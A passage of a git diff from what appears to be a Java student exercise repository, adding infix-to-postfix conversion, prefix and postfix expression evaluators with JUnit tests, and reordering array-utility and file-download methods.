+		List<Token> tokens = parser.parse(expr);
+		List<Token> pTokens = new Stack<>();
+		Stack<Token> opStack = new Stack<>();
+		
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				pTokens.add(token);
+			} else {
+				if (token.isLeftSquare()) {
+					opStack.push(token);
+				} else if (token.isRightSquare()) {
+					while (!opStack.peek().isLeftSquare()) {
+						pTokens.add(opStack.pop());
+					}
+					opStack.pop();
+				} else {
+					if (opStack.isEmpty() || token.hasHigherPriority(opStack.peek())) {
+						opStack.add(token);
+					} else {
+						while (!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())) {
+							pTokens.add(opStack.pop());
+						}
+						opStack.add(token);
+					}
+				}
+			}
+		}
+		
+		while(!opStack.isEmpty()) {
+			pTokens.add(opStack.pop());
+		}
+		
+		System.out.println(pTokens);
+		return pTokens;
+	}
+
+	public static void main(String[] args) {
+		convert("10-2*3+50");
+	}
+	
+}
diff --git a/group12/382266293/coding/basic/stack/expr/PostfixExpr.java b/group12/382266293/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..e4eaa4bfe6
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,51 @@
+package stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			} else {
+				Float f2 = numStack.pop();
+				Float f1 = numStack.pop();
+				numStack.push(calculate(token.toString(), f1,f2));
+			}
+		}
+		
+		return numStack.pop().floatValue();
+	}
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+	
+	
+}
diff --git a/group12/382266293/coding/basic/stack/expr/PostfixExprTest.java b/group12/382266293/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..1a6137e537
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/expr/PrefixExpr.java b/group12/382266293/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..1628810d68
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,56 @@
+package stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+import stack.StackUtil;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		System.out.println(tokens);
+		Stack<Token> exprStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		for(Token token : tokens){
+			exprStack.push(token);
+		}
+		System.out.println(exprStack);
+		while(!exprStack.isEmpty()){
+			Token t = exprStack.pop();
+			if(t.isNumber()){
+				numStack.push(new Float(t.getIntValue()));
+			}else{
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(t.toString(),f1,f2));
+				
+			}		
+		}
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	
+}
diff --git a/group12/382266293/coding/basic/stack/expr/PrefixExprTest.java b/group12/382266293/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..85b68a1020
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/expr/TParser.java b/group12/382266293/coding/basic/stack/expr/TParser.java
new file mode 100644
index 0000000000..06c543efd3
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/TParser.java
@@ -0,0 +1,85 @@
+package stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.concurrent.LinkedBlockingDeque;
+
+public class TParser {
+
+	Queue<Integer> intQ;
+	Queue<String> signQ;
+	static final List<String> signs = new ArrayList<String>();
+	{
+		signs.add("+");
+		signs.add("-");
+		signs.add("*");
+		signs.add("/");
+	}
+
+	public TParser() {
+		intQ = new LinkedBlockingDeque<Integer>();
+		signQ = new LinkedBlockingDeque<String>();
+	}
+
+	public void parse(String expr) {
+
+		String[] tokens = expr.split("");
+		String number = "";
+
+		for (int i = 0; i < tokens.length; i++) {
+
+			String c = tokens[i];
+
+			if (isSign(c)) {
+				
+				signQ.add(c);
+			
+				int num = Integer.parseInt(number);
+				intQ.add(num);
+				number = "";
+	
+			} else {
+				
+				number += tokens[i];
+				
+			}
+
+		}
+
+		int num = Integer.parseInt(number);
+		intQ.add(num);
+
+		int intSize = intQ.size();
+		if (intSize < 2 || intSize - signQ.size() > 1) {
+			throw new RuntimeException("Invalid input IntQ: " + intQ + " signQ " + signQ);
+		}
+
+		intQ.add(0);
+
+	}
+
+	private boolean isSign(String c) {
+		if (signs.contains(c)) {
+			return true;
+		}
+		return false;
+	}
+
+	public int nextInt() {
+		return intQ.poll();
+	}
+
+	public String nextSign() {
+		return signQ.poll();
+	}
+
+	public boolean hasNextInt() {
+		return !intQ.isEmpty();
+	}
+
+	public boolean hasNextSign() {
+		return !signQ.isEmpty();
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/expr/Token.java b/group12/382266293/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..670663d358
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/Token.java
@@ -0,0 +1,77 @@
+package stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/", "(", ")");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+		priorities.put("(", 0);
+		priorities.put(")", 3);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+	
+	public boolean isLeftSquare() {
+		if (!isOperator()) {
+			return false;
+		}
+
+		return priorities.get(this.value) == 0;
+	}
+	
+	public boolean isRightSquare() {
+		if (!isOperator()) {
+			return false;
+		}
+
+		return priorities.get(this.value) == 3;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+
+	public boolean isSquare() {
+		
+		return isLeftSquare() || isRightSquare();
+	}
+
+
+	
+	
+
+}
\ No newline at end of file
diff --git a/group12/382266293/coding/basic/stack/expr/TokenParser.java b/group12/382266293/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..5f4be41e00
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group12/382266293/coding/basic/stack/expr/TokenParserTest.java b/group12/382266293/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..427f887edd
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,66 @@
+package stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+	
+	@Test
+	public void test1() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("9+(3-1)*3+10/2");
+		System.out.println(tokens);
+//		//9+(3-1)*3+10/2
+//		PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+//		Assert.assertEquals(20, expr.evaluate(),0.0f);  [9, 3, 1, -, 3, *, +, 10, 2, /, +]
+		
+//		Assert.assertEquals(300, tokens.get(0).getIntValue());
+//		Assert.assertEquals("*", tokens.get(1).toString());
+//		Assert.assertEquals(20, tokens.get(2).getIntValue());
+//		Assert.assertEquals("+", tokens.get(3).toString());
+//		Assert.assertEquals(12, tokens.get(4).getIntValue());
+//		Assert.assertEquals("*", tokens.get(5).toString());
+//		Assert.assertEquals(5, tokens.get(6).getIntValue());
+//		Assert.assertEquals("-", tokens.get(7).toString());
+//		Assert.assertEquals(20, tokens.get(8).getIntValue());
+//		Assert.assertEquals("/", tokens.get(9).toString());
+//		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+	
+	
+
+}
diff --git a/group12/382266293/src/array/ArrayUtil.java b/group12/382266293/src/array/ArrayUtil.java
index ea847fd386..0abca4577f 100644
--- a/group12/382266293/src/array/ArrayUtil.java
+++ b/group12/382266293/src/array/ArrayUtil.java
@@ -8,106 +8,38 @@
 
 public class ArrayUtil {
 
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * 
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin) {
-
-		int temp;
-		int index = origin.length - 1;
-		int numbersToReverse = origin.length / 2;
-		for (int i = 0; i < numbersToReverse; i++) {
-			temp = origin[i];
-			origin[i] = origin[index - i];
-			origin[index - i] = temp;
+	public static void initialArray(int[] arr, int j) {
+		for (int i = 0; i < arr.length; i++) {
+			arr[i] = j;
 		}
 	}
 
-	/**
-	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
-	 * 
-	 * @param oldArray
-	 * @return
-	 */
-
-	public int[] removeZero(int[] oldArray) {
+	public static boolean isPerfectNum(int num) {
 
-		BitSet check = new BitSet(oldArray.length);
-		boolean isZero;
-		for (int i = 0; i < oldArray.length; i++) {
-			isZero = (oldArray[i] == 0) ? true : false;
-			check.set(i, isZero);
+		int sum = 0;
+		for (int i = 1; i <= num / 2; i++) {
+			if (num % i == 0)
+				sum += i;
 		}
 
-		int newSize = oldArray.length - check.cardinality();
-		int[] newArr = new int[newSize];
-
-		int nextIndex = check.nextClearBit(0);
-		for (int i = 0; i < newSize; i++) {
-			newArr[i] = oldArray[nextIndex];
-			nextIndex = check.nextClearBit(nextIndex + 1);
-		}
+		return (num == sum) ? true : false;
 
-		return newArr;
 	}
 
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-	 * 
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
+	public static boolean isPrime(int num) {
 
-	public int[] merge(int[] array1, int[] array2) {
+		if (num <= 1)
+			return false;
 
-		int len1 = array1.length;
-		int len2 = array2.length;
-		int len3 = array1[len1 - 1] < array2[len2 - 1] ? array2[len2 - 1] + 1 : array1[len1 - 1] + 1;
-		int[] newArr = new int[len3];
-		initialArray(newArr, -1);
-		for (int i = 0; i < len1; i++) {
-			newArr[array1[i]] = 0;
-		}
-		for (int i = 0; i < len2; i++) {
-			newArr[array2[i]] = 0;
-		}
-		int mergedLength = 0;
-		for (int i = 0; i < len3; i++) {
-			if (newArr[i] != -1)
-				newArr[mergedLength++] = i;
-		}
-		return Arrays.copyOf(newArr, mergedLength);
-	}
+		if (num == 2)
+			return true;
 
-	public static void initialArray(int[] arr, int j) {
-		for (int i = 0; i < arr.length; i++) {
-			arr[i] = j;
+		for (int i = 2; i <= Math.sqrt(num) + 1; i++) {
+			if (num % i == 0)
+				return false;
 		}
-	}
-
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * 
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int[] oldArray, int size) {
 
-		int[] newArr = new int[oldArray.length + size];
-		for (int i = 0; i < oldArray.length; i++) {
-			newArr[i] = oldArray[i];
-		}
-		return newArr;
+		return true;
 	}
 
 	/**
@@ -131,6 +63,30 @@ public int[] fibonacci(int max) {
 		return Arrays.copyOf(result, ++count);
 	}
 
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max) {
+
+		int count = 0;
+		ArrayList<Integer> myList = new ArrayList<Integer>();
+		for (int i = 1; i < max; i++) {
+			if (isPerfectNum(i)) {
+				count++;
+				myList.add(i);
+			}
+		}
+		int[] result = new int[count];
+		Iterator<Integer> iterator = myList.iterator();
+		for (int i = 0; i < count; i++) {
+			result[i] = iterator.next();
+		}
+		return result;
+	}
+
 	/**
 	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
 	 * 
@@ -154,73 +110,117 @@ public int[] getPrimes(int max) {
 		return result;
 	}
 
-	public static boolean isPrime(int num) {
-
-		if (num <= 1)
-			return false;
-
-		if (num == 2)
-			return true;
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * 
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int[] oldArray, int size) {
 
-		for (int i = 2; i <= Math.sqrt(num) + 1; i++) {
-			if (num % i == 0)
-				return false;
+		int[] newArr = new int[oldArray.length + size];
+		for (int i = 0; i < oldArray.length; i++) {
+			newArr[i] = oldArray[i];
 		}
+		return newArr;
+	}
 
-		return true;
+	/**
+	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+	 * 
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator) {
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(array[i]);
+			if (i < array.length - 1)
+				sb.append(seperator);
+		}
+		return sb.toString();
 	}
 
 	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
 	 * 
-	 * @param max
+	 * @param array1
+	 * @param array2
 	 * @return
 	 */
-	public int[] getPerfectNumbers(int max) {
 
-		int count = 0;
-		ArrayList<Integer> myList = new ArrayList<Integer>();
-		for (int i = 1; i < max; i++) {
-			if (isPerfectNum(i)) {
-				count++;
-				myList.add(i);
-			}
+	public int[] merge(int[] array1, int[] array2) {
+
+		int len1 = array1.length;
+		int len2 = array2.length;
+		int len3 = array1[len1 - 1] < array2[len2 - 1] ? array2[len2 - 1] + 1 : array1[len1 - 1] + 1;
+		int[] newArr = new int[len3];
+		initialArray(newArr, -1);
+		for (int i = 0; i < len1; i++) {
+			newArr[array1[i]] = 0;
 		}
-		int[] result = new int[count];
-		Iterator<Integer> iterator = myList.iterator();
-		for (int i = 0; i < count; i++) {
-			result[i] = iterator.next();
+		for (int i = 0; i < len2; i++) {
+			newArr[array2[i]] = 0;
 		}
-		return result;
+		int mergedLength = 0;
+		for (int i = 0; i < len3; i++) {
+			if (newArr[i] != -1)
+				newArr[mergedLength++] = i;
+		}
+		return Arrays.copyOf(newArr, mergedLength);
 	}
 
-	public static boolean isPerfectNum(int num) {
+	/**
+	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+	 * 
+	 * @param oldArray
+	 * @return
+	 */
 
-		int sum = 0;
-		for (int i = 1; i <= num / 2; i++) {
-			if (num % i == 0)
-				sum += i;
+	public int[] removeZero(int[] oldArray) {
+
+		BitSet check = new BitSet(oldArray.length);
+		boolean isZero;
+		for (int i = 0; i < oldArray.length; i++) {
+			isZero = (oldArray[i] == 0) ? true : false;
+			check.set(i, isZero);
 		}
 
-		return (num == sum) ? true : false;
+		int newSize = oldArray.length - check.cardinality();
+		int[] newArr = new int[newSize];
+
+		int nextIndex = check.nextClearBit(0);
+		for (int i = 0; i < newSize; i++) {
+			newArr[i] = oldArray[nextIndex];
+			nextIndex = check.nextClearBit(nextIndex + 1);
+		}
 
+		return newArr;
 	}
 
 	/**
-	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
 	 * 
-	 * @param array
-	 * @param s
+	 * @param origin
 	 * @return
 	 */
-	public String join(int[] array, String seperator) {
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < array.length; i++) {
-			sb.append(array[i]);
-			if (i < array.length - 1)
-				sb.append(seperator);
+	public void reverseArray(int[] origin) {
+
+		int temp;
+		int index = origin.length - 1;
+		int numbersToReverse = origin.length / 2;
+		for (int i = 0; i < numbersToReverse; i++) {
+			temp = origin[i];
+			origin[i] = origin[index - i];
+			origin[index - i] = temp;
 		}
-		return sb.toString();
 	}
 
 }
\ No newline at end of file
diff --git a/group12/382266293/src/array/ArrayUtilTest.java b/group12/382266293/src/array/ArrayUtilTest.java
index 031ef6c09b..d86ecde1fc 100644
--- a/group12/382266293/src/array/ArrayUtilTest.java
+++ b/group12/382266293/src/array/ArrayUtilTest.java
@@ -1,10 +1,14 @@
 package array;
 
-import static org.junit.Assert.*;
-import static util.TestUtil.*;
+import static junit.framework.TestCase.assertEquals;
+import static org.junit.Assert.assertArrayEquals;
+import static util.TestUtil.getRandomIntArray;
+import static util.TestUtil.getRandomNumber;
+
 import java.util.Arrays;
 import java.util.Iterator;
 import java.util.TreeSet;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -25,43 +29,61 @@ public void tearDown() throws Exception {
 	}
 
 	@Test
-	public void testReverseArray() {
+	public void testFibonacci() {
+		int[] expected = new int[] { 1, 1, 2, 3, 5, 8, 13 };
+		int[] acutal = new int[expected.length];
+		actual = au.fibonacci(15);
+		assertArrayEquals(expected, actual);
+	}
 
-		int size = getRandomNumber();
-		int[] expected = getRandomIntArray(size);
-		actual = Arrays.copyOf(expected, size);
+	@Test
+	public void testGetPerfectNumbers() {
 
-		au.reverseArray(actual);
+		int[] expected = new int[] { 6, 28, 496, 8128 };
+		int[] acutal = new int[expected.length];
+		actual = au.getPerfectNumbers(10000);
+		assertArrayEquals(expected, actual);
+	}
 
-		for (int i = 0; i < size; i++) {
-			assertEquals(expected[i], actual[size - 1 - i]);
-		}
+	@Test
+	public void testGetPrimes() {
 
+		int[] expected = new int[] { 2, 3, 5, 7, 11, 13, 17, 19 };
+		int[] acutal = new int[expected.length];
+		actual = au.getPrimes(23);
+		assertArrayEquals(expected, actual);
 	}
 
 	@Test
-	public void testRemoveZero() {
+	public void testGrow() {
+		int[] expected = getRandomIntArray(getRandomNumber());
+		int growSize = getRandomNumber();
+		int[] actual = au.grow(expected, growSize);
 
-		int size = getRandomNumber(10000);
-		int[] expected = getRandomIntArray(size);
+		assertEquals(expected.length + growSize, actual.length);
 
-		int zeros = getRandomNumber(size - 1);
-		TreeSet<Integer> t = new TreeSet<Integer>();
-		while (t.size() != zeros) {
-			t.add(getRandomNumber(size));
+		for (int i = 0; i < actual.length; i++) {
+			if (i < expected.length) {
+				assertEquals(expected[i], actual[i]);
+			} else {
+				assertEquals(0, actual[i]);
+			}
 		}
 
-		for (Integer i : t) {
-			expected[i] = 0;
-		}
+	}
 
-		int expectedSize = size - zeros;
-		actual = au.removeZero(expected);
-		assertEquals(expectedSize, actual.length);
+	@Test
+	public void testJoin() {
 
-		for (int i = 0, j = 0; i < size; i++) {
-			if (expected[i] != 0)
-				assertEquals(expected[i], actual[j++]);
+		int[] expected = getRandomIntArray(getRandomNumber());
+		String seperator = "-";
+		String joinedString = au.join(expected, seperator);
+
+		String[] actual = joinedString.split(seperator);
+
+		assertEquals(expected.length, actual.length);
+		for (int i = 0; i < expected.length; i++) {
+			assertEquals(expected[i], Integer.parseInt(actual[i]));
 		}
 
 	}
@@ -92,61 +114,43 @@ public void testMerge() {
 	}
 
 	@Test
-	public void testGrow() {
-		int[] expected = getRandomIntArray(getRandomNumber());
-		int growSize = getRandomNumber();
-		int[] actual = au.grow(expected, growSize);
+	public void testRemoveZero() {
 
-		assertEquals(expected.length + growSize, actual.length);
+		int size = getRandomNumber(10000);
+		int[] expected = getRandomIntArray(size);
 
-		for (int i = 0; i < actual.length; i++) {
-			if (i < expected.length) {
-				assertEquals(expected[i], actual[i]);
-			} else {
-				assertEquals(0, actual[i]);
-			}
+		int zeros = getRandomNumber(size - 1);
+		TreeSet<Integer> t = new TreeSet<Integer>();
+		while (t.size() != zeros) {
+			t.add(getRandomNumber(size));
 		}
 
-	}
-
-	@Test
-	public void testFibonacci() {
-		int[] expected = new int[] { 1, 1, 2, 3, 5, 8, 13 };
-		int[] acutal = new int[expected.length];
-		actual = au.fibonacci(15);
-		assertArrayEquals(expected, actual);
-	}
-
-	@Test
-	public void testGetPrimes() {
+		for (Integer i : t) {
+			expected[i] = 0;
+		}
 
-		int[] expected = new int[] { 2, 3, 5, 7, 11, 13, 17, 19 };
-		int[] acutal = new int[expected.length];
-		actual = au.getPrimes(23);
-		assertArrayEquals(expected, actual);
-	}
+		int expectedSize = size - zeros;
+		actual = au.removeZero(expected);
+		assertEquals(expectedSize, actual.length);
 
-	@Test
-	public void testGetPerfectNumbers() {
+		for (int i = 0, j = 0; i < size; i++) {
+			if (expected[i] != 0)
+				assertEquals(expected[i], actual[j++]);
+		}
 
-		int[] expected = new int[] { 6, 28, 496, 8128 };
-		int[] acutal = new int[expected.length];
-		actual = au.getPerfectNumbers(10000);
-		assertArrayEquals(expected, actual);
 	}
 
 	@Test
-	public void testJoin() {
+	public void testReverseArray() {
 
-		int[] expected = getRandomIntArray(getRandomNumber());
-		String seperator = "-";
-		String joinedString = au.join(expected, seperator);
+		int size = getRandomNumber();
+		int[] expected = getRandomIntArray(size);
+		actual = Arrays.copyOf(expected, size);
 
-		String[] actual = joinedString.split(seperator);
+		au.reverseArray(actual);
 
-		assertEquals(expected.length, actual.length);
-		for (int i = 0; i < expected.length; i++) {
-			assertEquals(expected[i], Integer.parseInt(actual[i]));
+		for (int i = 0; i < size; i++) {
+			assertEquals(expected[i], actual[size - 1 - i]);
 		}
 
 	}
diff --git a/group12/382266293/src/com/coderising/download/DownloadThread.java b/group12/382266293/src/com/coderising/download/DownloadThread.java
index 38f92f6677..11df6109e3 100644
--- a/group12/382266293/src/com/coderising/download/DownloadThread.java
+++ b/group12/382266293/src/com/coderising/download/DownloadThread.java
@@ -2,7 +2,6 @@
 
 import java.io.File;
 import java.io.IOException;
-
 import java.io.RandomAccessFile;
 
 import com.coderising.download.api.Connection;
@@ -22,6 +21,15 @@ public DownloadThread(Connection conn, int startPos, int endPos) {
 		this.endPos = endPos;
 	}
 
+	public void close() {
+		this.conn.close();
+
+	}
+
+	public void notifyFinished() {
+		fileDownloader.setThreadFinished();
+	}
+
 	@Override
 	public void run() {
 		System.out.println(this.getName() + " is running");
@@ -49,21 +57,12 @@ public void run() {
 		}
 	}
 
-	public void setFileDownloader(FileDownloader fileDownloader) {
-		this.fileDownloader = fileDownloader;
-	}
-
-	public void notifyFinished() {
-		fileDownloader.setThreadFinished();
-	}
-
 	public void setDest(String dest) {
 		this.dest = dest;
 	}
 
-	public void close() {
-		this.conn.close();
-
+	public void setFileDownloader(FileDownloader fileDownloader) {
+		this.fileDownloader = fileDownloader;
 	}
 
 }
diff --git a/group12/382266293/src/com/coderising/download/DownloadUtil.java b/group12/382266293/src/com/coderising/download/DownloadUtil.java
index c169214476..8e54afc2f9 100644
--- a/group12/382266293/src/com/coderising/download/DownloadUtil.java
+++ b/group12/382266293/src/com/coderising/download/DownloadUtil.java
@@ -9,8 +9,15 @@ public class DownloadUtil {
 	private static final int MIN_CONNECTIONS = 3;
 	private static final int MAX_CONNECTIONS = 10;
 
